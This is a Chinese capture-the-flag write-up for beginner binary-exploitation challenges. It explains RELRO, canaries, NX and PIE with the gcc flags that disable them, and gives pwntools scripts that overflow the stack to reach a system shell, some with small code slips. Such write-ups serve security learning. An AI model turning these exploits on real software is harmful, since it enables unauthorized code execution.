攻防世界--PWN新手区


前置知识学习

RELRO

GCC, GNU linker 以及 Glibc-dynamic linker 一起配合实现了一种叫做 relro 的技术: read only relocation。大概实现就是由 linker 指定 binary 的一块经过 dynamic linker 处理过 relocation 之后的区域为只读.
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对 GOT(Global Offset Table)攻击。RELRO 为” Partial RELRO”,说明我们对 GOT 表具有写权限。

gcc -o hello test.c // 默认情况下,是Partial RELRO
gcc -z norelro -o hello test.c // 关闭,即No RELRO
gcc -z lazy -o hello test.c // 部分开启,即Partial RELRO
gcc -z now -o hello test.c // 全部开启,即Full RELRO

CANNARY (栈保护)

表示栈保护功能有没有开启。
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行。在 Linux 中我们将 cookie 信息称为 canary。
可以在 GCC 中使用以下参数设置 Canary:

-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

NX(DEP)

NX 即 No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。

工作原理如图:

NX工作原理图

gcc 编译器默认开启了 NX 选项,如果需要关闭 NX 选项,可以给 gcc 编译器添加 - z execstack 参数。
例如:

gcc -o test test.c                    // 默认情况下,开启NX保护
gcc -z execstack -o test test.c        // 禁用NX保护
gcc -z noexecstack -o test test.c    // 开启NX保护

在 Windows 下,类似的概念为 DEP(数据执行保护),在最新版的 Visual Studio 中默认开启了 DEP 编译选项。

PIE

PIE (Position-Independent Executable, 位置无关可执行文件) 技术与 ASLR 技术类似,ASLR 将程序运行时的堆栈以及共享库的加载地址随机化,而 PIE 技术则在编译时将程序编译为位置无关,即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定。这就意味着,在 PIE 和 ASLR 同时开启的情况下,攻击者将对程序的内存布局一无所知,传统的改写
GOT 表项的方法也难以进行,因为攻击者不能获得程序的.got 段的虚地址。
若开启一般需在攻击时泄露地址信息

liunx 下关闭 PIE 的命令如下:

    sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

gcc 编译命令

gcc -o test test.c                // 默认情况下,不开启PIE
gcc -fpie -pie -o test test.c        // 开启PIE,此时强度为1
gcc -fPIE -pie -o test test.c        // 开启PIE,此时为最高强度2
gcc -fpic -o test test.c        // 开启PIC,此时强度为1,不会开启PIE
gcc -fPIC -o test test.c        // 开启PIC,此时为最高强度2,不会开启PIE

参考链接:


hello_pwn

0x01: checksec查看文件属性

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看到是64位程序,只开了NX(堆栈不可执行),运行一下看看:

get-bof

放入IDA分析:

main

流程清晰,现在要做的就是让dword_60106C == 1853186401,继续查看dword_60106C

6016C

可以发现dword_60106C 在 可控输入变量unk_601068在同一个.bss段,且距离四个位置。
程序中可看出unk_601068输入点的长度限制为0x10也就是十六位,因此我们可以借此覆盖掉dword_60106C使它变成我们需要的数值。

EXP

FLAG

level0

checksec后是64位没开启保护,上IDA

check

IDA

解题思路:
栈溢出,使返回地址指向callsystem函数执行命令。Return2libc

buf这个字符数组的长度只有0x80,read()访问的空间长度却是0x200。

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

跟踪vulnerable_function(),找到其调用的read()的返回地址入口位置。

-0000000000000080 ; D/A/*   : change type (data/ascii/array)
-0000000000000080 ; N       : rename
-0000000000000080 ; U       : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf             db 128 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

确定payload长度,得出exp:

from pwn import *

r = remote('111.200.241.244',61757)
addr_callsystem = p64(0x00400596)
buffover ='A'* 0x80 + 'b'* 8 + addr_callsystem

payload = buffover + addr_callsystem

r.recvuntil("Hello, World\n")
r.sendline(payload)
r.interactive()

FLAG2

level2

题目提示类型为ROP,checksec查看程序的保护状态发现开启了NX,继续IDA

bin-sh

system

在字符串窗口可以发现有
**/bin/sh,记录地址:
**0804A024
并且左边的函数窗口可以看到在
**.plt段有
**_system
函数,记录地址:
08048320

此时结合题目提示,我们需要向题目中输入若干内容,观察到buf的长度为0x88,那么我们便可以构造出0x88长度的无关数据,然后再输入4个长度的垃圾数据以覆盖ebp,然后就是/bin/sh的地址以及call system的地址(这里使用的是text段的地址,这样可以直接使用)构造ROP链,注意添加p32(0)以平衡栈帧
EXP:

from pwn import *
r=remote('111.200.241.244',61148)

bin_sh = 0x0804A024
system_adr = 0x08048320
payload = "A" * 0x88 + "b" * 4 + p32(system_adr) +p32(0) +p32(bin_sh)
r.recvuntil=("Input:\n")
r.send(payload)
r.interactive()

string

保护机制情况:x64 程序开了NX(堆栈不可执行)、CANARY(栈保护)和PELRO


文章作者: Augu5t
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Augu5t !
  目录